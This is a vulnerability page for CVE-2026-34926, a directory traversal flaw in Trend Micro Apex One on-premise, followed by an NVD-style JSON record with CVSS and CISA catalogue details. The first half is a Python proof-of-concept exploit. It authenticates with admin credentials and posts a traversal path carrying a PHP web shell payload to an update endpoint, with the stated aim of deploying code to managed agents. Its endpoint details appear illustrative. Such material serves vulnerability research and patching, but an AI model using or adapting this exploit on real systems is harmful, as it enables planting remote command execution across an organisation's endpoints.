CVE-2026-34926

# This is a conceptual PoC for CVE-2026-34926 # Note: Actual exploitation requires local access and admin credentials. import requests import os # Target configuration TARGET_IP = "192.168.1.100" ADMIN_CREDS = {"username": "admin", "password": "P@ssw0rd"} # Obtained via other means MALICIOUS_PAYLOAD = "<?php system($_GET['cmd']); ?>" # Example payload def exploit_directory_traversal(): session = requests.Session() # Step 1: Authenticate using obtained credentials login_url = f"http://{TARGET_IP}/api/auth/login" session.post(login_url, data=ADMIN_CREDS) # Step 2: Send request to modify key table via path traversal # Vulnerable endpoint example vulnerable_url = f"http://{TARGET_IP}/api/update_table" # Traversal sequence to write to a sensitive config/key table traversal_seq = "../../../../../config/key_table.db" params = { "table_name": traversal_seq, "content": MALICIOUS_PAYLOAD } try: response = session.post(vulnerable_url, data=params) if response.status_code == 200: print("[+] Successfully injected malicious code into key table.") print("[+] Payload will be deployed to agents on next update cycle.") else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": exploit_directory_traversal()

{"cve": {"id": "CVE-2026-34926", "sourceIdentifier": "[email protected]", "published": "2026-05-21T14:16:45.213", "lastModified": "2026-05-21T20:16:14.027", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A directory traversal vulnerability in the Apex One (on-premise) server could allow a pre-authenticated local attacker to modify a key table on the server to inject malicious code to deploy to agents on affected installations.\n\n\r\nThis vulnerability is only exploitable on the on-premise version of Apex One and a potential attacker must have access to the Apex One Server and already obtained administrative credentials to the server via some other method to exploit this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:L", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.8, "impactScore": 5.3}]}, "cisaExploitAdd": "2026-05-21", "cisaActionDue": "2026-06-04", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Trend Micro Apex One (On-Premise) Directory Traversal Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-23"}]}], "references": [{"url": "https://jvn.jp/en/vu/JVNVU90583059/", "source": "[email protected]"}, {"url": "https://success.trendmicro.com/en-US/solution/KA-0023430", "source": "[email protected]"}, {"url": "https://success.trendmicro.com/ja-JP/solution/KA-0022974", "source": "[email protected]"}, {"url": "https://www.jpcert.or.jp/english/at/2026/at260014.html", "source": "[email protected]"}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34926", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}